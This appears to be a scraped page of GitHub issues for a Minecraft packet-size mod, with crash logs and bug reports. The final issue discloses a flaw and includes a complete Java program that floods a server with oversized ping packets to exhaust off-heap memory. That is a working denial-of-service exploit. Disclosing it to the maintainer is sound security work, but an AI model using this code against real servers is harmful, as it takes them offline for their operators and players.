java.lang.IllegalStateException: You can only send NetIdData '.graphlib.chunk_data' through a minecraft connection! (Was given null)
	at alexiil.mc.lib.net.NetIdBase.validateSendingSide(NetIdBase.java:264) ~[libnetworkstack-0.10.0-e165339157038757.jar:?]
	at alexiil.mc.lib.net.NetIdBase.validateSendingSide(NetIdBase.java:255) ~[libnetworkstack-0.10.0-e165339157038757.jar:?]
	at alexiil.mc.lib.net.NetIdData.send(NetIdData.java:55) ~[libnetworkstack-0.10.0-e165339157038757.jar:?]
	at com.kneelawk.graphlib.impl.net.GLNet.sendChunkDataPacket(GLNet.java:276) ~[graphlib-1.4.0+1.20-ef8cca81f2fce21.jar:?]
	at com.kneelawk.graphlib.impl.graph.ServerGraphWorldStorage.sendChunkDataPackets(ServerGraphWorldStorage.java:132) ~[graphlib-1.4.0+1.20-ef8cca81f2fce21.jar:?]
	at net.minecraft.server.world.ThreadedAnvilChunkStorage.handler$foj000$graphlib$onSendChunkDataPackets(ThreadedAnvilChunkStorage.java:8534) ~[server-intermediary.jar:?]
	at net.minecraft.server.world.ThreadedAnvilChunkStorage.sendChunkDataPackets(ThreadedAnvilChunkStorage.java:1342) ~[server-intermediary.jar:?]
	at net.minecraft.server.world.ThreadedAnvilChunkStorage.mddff051$c2me-notickvd$lambda$onMakeChunkAccessible$0$14(ThreadedAnvilChunkStorage.java:14513) ~[server-intermediary.jar:?]
	at net.minecraft.util.thread.ThreadExecutor.executeTask(ThreadExecutor.java:156) ~[server-intermediary.jar:?]
	at net.minecraft.server.world.ServerChunkManager$MainThreadExecutor.executeTask(ServerChunkManager.java:564) ~[server-intermediary.jar:?]
	at net.minecraft.util.thread.ThreadExecutor.runTask(ThreadExecutor.java:130) ~[server-intermediary.jar:?]
	at net.minecraft.server.world.ServerChunkManager$MainThreadExecutor.runTask(ServerChunkManager.java:573) ~[server-intermediary.jar:?]
	at net.minecraft.server.world.ServerChunkManager.executeQueuedTasks(ServerChunkManager.java:282) ~[server-intermediary.jar:?]
	at net.minecraft.server.MinecraftServer.runOneTask(MinecraftServer.java:24824) ~[server-intermediary.jar:?]
	at net.minecraft.server.MinecraftServer.runTask(MinecraftServer.java:758) ~[server-intermediary.jar:?]
	at net.minecraft.util.thread.ThreadExecutor.runTasks(ThreadExecutor.java:115) ~[server-intermediary.jar:?]
	at net.minecraft.server.MinecraftServer.runTasksTillTickEnd(MinecraftServer.java:742) ~[server-intermediary.jar:?]
	at net.minecraft.server.MinecraftServer.handler$ceb000$carpet$modifiedRunLoop(MinecraftServer.java:26951) ~[server-intermediary.jar:?]
	at net.minecraft.server.MinecraftServer.runServer(MinecraftServer.java:650) ~[server-intermediary.jar:?]
	at net.minecraft.server.MinecraftServer.method_29739(MinecraftServer.java:265) ~[server-intermediary.jar:?]
	at java.lang.Thread.run(Thread.java:1583) ~[?:?]
[02:41:38] [Server thread/WARN]: [CoreMinecraftNetUtil#lambda$getServerConnection$5] Disallowed server connection for class_3222['JingF'/144, l='ServerLevel[world]', x=-65.36, y=117.00, z=-187.08, removed=UNLOADED_WITH_PLAYER] because it's channel is not open!
[02:41:38] [Server thread/ERROR]: Error sending GraphWorld chunk packets. World: 'ServerLevel[world]'/minecraft:overworld, Chunk: [-3, -17]
java.lang.IllegalStateException: You can only send NetIdData '.graphlib.chunk_data' through a minecraft connection! (Was given null)
	at alexiil.mc.lib.net.NetIdBase.validateSendingSide(NetIdBase.java:264) ~[libnetworkstack-0.10.0-e165339157038757.jar:?]
	at alexiil.mc.lib.net.NetIdBase.validateSendingSide(NetIdBase.java:255) ~[libnetworkstack-0.10.0-e165339157038757.jar:?]
	at alexiil.mc.lib.net.NetIdData.send(NetIdData.java:55) ~[libnetworkstack-0.10.0-e165339157038757.jar:?]
	at com.kneelawk.graphlib.impl.net.GLNet.sendChunkDataPacket(GLNet.java:276) ~[graphlib-1.4.0+1.20-ef8cca81f2fce21.jar:?]
	at com.kneelawk.graphlib.impl.graph.ServerGraphWorldStorage.sendChunkDataPackets(ServerGraphWorldStorage.java:132) ~[graphlib-1.4.0+1.20-ef8cca81f2fce21.jar:?]
	at net.minecraft.server.world.ThreadedAnvilChunkStorage.handler$foj000$graphlib$onSendChunkDataPackets(ThreadedAnvilChunkStorage.java:8534) ~[server-intermediary.jar:?]
	at net.minecraft.server.world.ThreadedAnvilChunkStorage.sendChunkDataPackets(ThreadedAnvilChunkStorage.java:1342) ~[server-intermediary.jar:?]
	at net.minecraft.server.world.ThreadedAnvilChunkStorage.mddff051$c2me-notickvd$lambda$onMakeChunkAccessible$0$14(ThreadedAnvilChunkStorage.java:14513) ~[server-intermediary.jar:?]
	at net.minecraft.util.thread.ThreadExecutor.executeTask(ThreadExecutor.java:156) ~[server-intermediary.jar:?]
	at net.minecraft.server.world.ServerChunkManager$MainThreadExecutor.executeTask(ServerChunkManager.java:564) ~[server-intermediary.jar:?]
	at net.minecraft.util.thread.ThreadExecutor.runTask(ThreadExecutor.java:130) ~[server-intermediary.jar:?]
	at net.minecraft.server.world.ServerChunkManager$MainThreadExecutor.runTask(ServerChunkManager.java:573) ~[server-intermediary.jar:?]
	at net.minecraft.server.world.ServerChunkManager.executeQueuedTasks(ServerChunkManager.java:282) ~[server-intermediary.jar:?]
	at net.minecraft.server.MinecraftServer.runOneTask(MinecraftServer.java:24824) ~[server-intermediary.jar:?]
	at net.minecraft.server.MinecraftServer.runTask(MinecraftServer.java:758) ~[server-intermediary.jar:?]
	at net.minecraft.util.thread.ThreadExecutor.runTasks(ThreadExecutor.java:115) ~[server-intermediary.jar:?]
	at net.minecraft.server.MinecraftServer.runTasksTillTickEnd(MinecraftServer.java:742) ~[server-intermediary.jar:?]
	at net.minecraft.server.MinecraftServer.handler$ceb000$carpet$modifiedRunLoop(MinecraftServer.java:26951) ~[server-intermediary.jar:?]
	at net.minecraft.server.MinecraftServer.runServer(MinecraftServer.java:650) ~[server-intermediary.jar:?]
	at net.minecraft.server.MinecraftServer.method_29739(MinecraftServer.java:265) ~[server-intermediary.jar:?]
	at java.lang.Thread.run(Thread.java:1583) ~[?:?]
[02:41:38] [Server thread/WARN]: [CoreMinecraftNetUtil#lambda$getServerConnection$5] Disallowed server connection for class_3222['JingF'/144, l='ServerLevel[world]', x=-65.36, y=117.00, z=-187.08, removed=UNLOADED_WITH_PLAYER] because it's channel is not open!
[02:41:38] [Server thread/ERROR]: Error sending GraphWorld chunk packets. World: 'ServerLevel[world]'/minecraft:overworld, Chunk: [-2, -17]
java.lang.IllegalStateException: You can only send NetIdData '.graphlib.chunk_data' through a minecraft connection! (Was given null)
	at alexiil.mc.lib.net.NetIdBase.validateSendingSide(NetIdBase.java:264) ~[libnetworkstack-0.10.0-e165339157038757.jar:?]
	at alexiil.mc.lib.net.NetIdBase.validateSendingSide(NetIdBase.java:255) ~[libnetworkstack-0.10.0-e165339157038757.jar:?]
	at alexiil.mc.lib.net.NetIdData.send(NetIdData.java:55) ~[libnetworkstack-0.10.0-e165339157038757.jar:?]
	at com.kneelawk.graphlib.impl.net.GLNet.sendChunkDataPacket(GLNet.java:276) ~[graphlib-1.4.0+1.20-ef8cca81f2fce21.jar:?]
	at com.kneelawk.graphlib.impl.graph.ServerGraphWorldStorage.sendChunkDataPackets(ServerGraphWorldStorage.java:132) ~[graphlib-1.4.0+1.20-ef8cca81f2fce21.jar:?]
	at net.minecraft.server.world.ThreadedAnvilChunkStorage.handler$foj000$graphlib$onSendChunkDataPackets(ThreadedAnvilChunkStorage.java:8534) ~[server-intermediary.jar:?]
	at net.minecraft.server.world.ThreadedAnvilChunkStorage.sendChunkDataPackets(ThreadedAnvilChunkStorage.java:1342) ~[server-intermediary.jar:?]
	at net.minecraft.server.world.ThreadedAnvilChunkStorage.mddff051$c2me-notickvd$lambda$onMakeChunkAccessible$0$14(ThreadedAnvilChunkStorage.java:14513) ~[server-intermediary.jar:?]
	at net.minecraft.util.thread.ThreadExecutor.executeTask(ThreadExecutor.java:156) ~[server-intermediary.jar:?]
	at net.minecraft.server.world.ServerChunkManager$MainThreadExecutor.executeTask(ServerChunkManager.java:564) ~[server-intermediary.jar:?]
	at net.minecraft.util.thread.ThreadExecutor.runTask(ThreadExecutor.java:130) ~[server-intermediary.jar:?]
	at net.minecraft.server.world.ServerChunkManager$MainThreadExecutor.runTask(ServerChunkManager.java:573) ~[server-intermediary.jar:?]
	at net.minecraft.server.world.ServerChunkManager.executeQueuedTasks(ServerChunkManager.java:282) ~[server-intermediary.jar:?]
	at net.minecraft.server.MinecraftServer.runOneTask(MinecraftServer.java:24824) ~[server-intermediary.jar:?]
	at net.minecraft.server.MinecraftServer.runTask(MinecraftServer.java:758) ~[server-intermediary.jar:?]
	at net.minecraft.util.thread.ThreadExecutor.runTasks(ThreadExecutor.java:115) ~[server-intermediary.jar:?]
	at net.minecraft.server.MinecraftServer.runTasksTillTickEnd(MinecraftServer.java:742) ~[server-intermediary.jar:?]
	at net.minecraft.server.MinecraftServer.handler$ceb000$carpet$modifiedRunLoop(MinecraftServer.java:26951) ~[server-intermediary.jar:?]
	at net.minecraft.server.MinecraftServer.runServer(MinecraftServer.java:650) ~[server-intermediary.jar:?]
	at net.minecraft.server.MinecraftServer.method_29739(MinecraftServer.java:265) ~[server-intermediary.jar:?]
	at java.lang.Thread.run(Thread.java:1583) ~[?:?]```

Crashes with Geckolibs Item Network code

Loading this mod with any mod that uses Geckolibs Item Network code causes a crash.

Tested with:

  • MCDoom-Forge-1.19.2-4.2.26
  • curios-forge-1.19.2-5.1.1.0
  • geckolib-forge-1.19-3.1.39
  • PacketSizeDoublerForge-1.0.4-1.19.x

Crash Report: https://gist.github.com/AzureDoom/157847b3a7451bff95b319d8c8fe39ae

Assuming it's likely in your mixin here: https://github.com/TonimatasDEV/PacketSizeDoublerForge/blob/master/1.19.x/src/main/java/net/tonimatasdev/packetsizedoublerforge/mixin/CompressionEncoderMixin.java

Crash on 1.16.5 Fabric

I'm trying to launch minecraft, but every time, I get this error

Crash report
Uncaught exception in thread "main"
java.lang.RuntimeException: Error creating Mixin config packetfixer.mixins.json for mod packetfixer
  at net.fabricmc.loader.impl.launch.FabricMixinBootstrap.init(FabricMixinBootstrap.java:96)
  at net.fabricmc.loader.impl.launch.knot.Knot.init(Knot.java:151)
  at net.fabricmc.loader.impl.launch.knot.Knot.launch(Knot.java:68)
  at net.fabricmc.loader.impl.launch.knot.KnotClient.main(KnotClient.java:23)
Caused by: org.spongepowered.asm.launch.MixinInitialisationError: Error initialising mixin config packetfixer.mixins.json
  at org.spongepowered.asm.mixin.transformer.Config.create(Config.java:153)
  at org.spongepowered.asm.mixin.Mixins.createConfiguration(Mixins.java:100)
  at org.spongepowered.asm.mixin.Mixins.addConfiguration(Mixins.java:87)
  at net.fabricmc.loader.impl.launch.FabricMixinBootstrap.init(FabricMixinBootstrap.java:94)
  ... 3 more
Caused by: java.lang.IllegalArgumentException: The requested compatibility level JAVA_17 could not be set. Level is not supported by the active JRE or ASM version (Java 1.8, ASM 9.6 (ASM10_EXPERIMENTAL))
  at org.spongepowered.asm.mixin.MixinEnvironment.setCompatibilityLevel(MixinEnvironment.java:1570)
  at org.spongepowered.asm.mixin.transformer.MixinConfig.initCompatibilityLevel(MixinConfig.java:557)
  at org.spongepowered.asm.mixin.transformer.MixinConfig.postInit(MixinConfig.java:502)
  at org.spongepowered.asm.mixin.transformer.MixinConfig.onLoad(MixinConfig.java:430)
  at org.spongepowered.asm.mixin.transformer.MixinConfig.create(MixinConfig.java:1293)
  at org.spongepowered.asm.mixin.transformer.Config.create(Config.java:148)
  ... 6 more

PC Specs

OS: Windows 10
RAM: 16GB DDR3
GPU: GTX 1650 Super
CPU: Intel Core I7-860

[1.20.1] Can't join server with connectivity

Hello, I made a custom modpack for
Minecraft 1.20.1 forge 47.2.0
and I can't join my server, everything starts, but it throw an error when I log to my server, it seems to be related to connectivity + packetFixer :

[19:20:03] [Netty Client IO #2/WARN] [co.co.Connectivity/]: Packet not registered: ClientboundLoginDisconnectPacket
[19:20:03] [Netty Client IO #2/WARN] [co.co.Connectivity/]: Packet:ClientboundLoginDisconnectPacket 
[19:20:03] [Netty Client IO #2/WARN] [co.co.Connectivity/]: Packet data:
{
  "f_134809_": "translation{key='disconnect.genericReason', args=[Internal Exception: org.spongepowered.asm.mixin.transformer.throwables.MixinTransformerError: An unexpected critical error was encountered]}"
}

PacketFixer is on v1.2.0.

Here's the debug log from the server :
debug.log

[1.16.5] Cannot join (singleplayer) worlds

image
The world join screen freezes here. In the logs, this error pops up:
[22:39:31] [Server thread/INFO] [minecraft/ServerLoginNetHandler]: com.mojang.authlib.GameProfile@499d65ad[id=67db8d36-ac6c-494f-b0d3-26a0caaa7e27,name=Cata023,properties={textures=[com.mojang.authlib.properties.Property@1cdc8d1d]},legacy=false] (local:E:45ab4d52) lost connection: Internal Exception: java.lang.ClassCastException: net.minecraft.network.login.ServerLoginNetHandler cannot be cast to net.minecraft.client.network.play.IClientPlayNetHandler

Receiving Payload may not be larger than 1048576 bytes in 1.20.1

Configuration:

  • Minecraft 1.20.1
  • Fabric Loader 0.15.10
  • packetfixer 1.2.8

Issue:

  • Client connects, but immediately crashes after joining with the classic "Payload may not be larger than 1048576 bytes".
  • No issues or crash on server (player connects fine, then disconnects immediately from client crash).
  • No issue creating a single player world either (modpack definitely crashes without PacketFixer in single player though!)

Modpack for reproduction if required: https://www.dropbox.com/scl/fo/87nzgnzbpqanyuc36s7pg/APimk4dwfnMFIBBAdswHXuo?rlkey=ap1lx5qdlz7odvn1dhelonu4b&st=66bi6r8n&dl=0

Attached copy/paste of the log section containing the stack trace:
packet fixer crash.txt

Guessing something weird is going on with some origins or Create mod... unsure though / can't see an obvious culprit with my limited knowledge.

allow to set limit to prevent abusing large packet

Hi, I discover that this mod allow / accept large packet size such as Integer.MAX_VALUE and cause huge offheap allocation (offheap mean it bypass Xmx)

this example code will send huge ping packet to server and cause high cpu usage + high memory usage

import java.io.OutputStream;
import java.util.Arrays;

public class OffHeapBuster {
    private static final byte[] ZEROS = new byte[1048576];
    // tune connection for impact
    private static final int CONNECTIONS = 256;
    private static final int PACKET_SIZE = Integer.MAX_VALUE - 10;
    private static final int SEGMENT_BITS = 0x7F;
    private static final int CONTINUE_BIT = 0x80;
    private static final byte[] MAGIC;
    // slow down after this threshold to prevent gc to clear buffer
    private static int SLOW_THRESHOLD = 1073741825;

    static {
        byte[] out = new byte[20];
        var idx = writeVarInt(PACKET_SIZE, out);
        out[idx++] = 1; // ping
        out[idx++] = 0; // zero
        MAGIC = Arrays.copyOf(out, idx);
    }

    public static void main(String[] args) throws Exception {
        for (int i = 0; i < CONNECTIONS; i++) {
            Thread.sleep(200);
            new Thread(() -> nuke("localhost", 25565)).start();
        }
    }

    // https://wiki.vg/Protocol#Type:VarInt
    static int writeVarInt(int value, byte[] out) {
        int count = 0;
        while (true) {
            if ((value & ~SEGMENT_BITS) == 0) {
                out[count++] = (byte) value;
                return count;
            }

            //writeByte((value & SEGMENT_BITS) | CONTINUE_BIT);
            out[count++] = (byte) ((value & SEGMENT_BITS) | CONTINUE_BIT);

            // Note: >>> means that the sign bit is shifted with the rest of the number rather than being left alone
            value >>>= 7;
        }
    }

    static void nuke(String host, int port) {
        while (true) {
            try {
                var tcp = new java.net.Socket(host, port);
                System.out.println(Thread.currentThread().getName() + " connected");
                var tx = tcp.getOutputStream();

                writeUntil(tx, SLOW_THRESHOLD, 131072, 10);
                writeUntil(tx, (Integer.MAX_VALUE - SLOW_THRESHOLD) - 2, 8193, 1000);
            } catch (Exception e) {
                System.out.println(Thread.currentThread().getName() + " error:" + e.getMessage());
            }
        }
    }

    static void writeUntil(OutputStream outputStream, int amount, int chunkSize, int delay) throws Exception {
        var remaining = amount;
        while (remaining > 0) {
            var write = Math.min(Math.min(chunkSize, remaining), ZEROS.length);
            outputStream.write(ZEROS, 0, write);
            outputStream.flush();
            Thread.sleep(delay);
            remaining -= write;
        }
    }
}

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.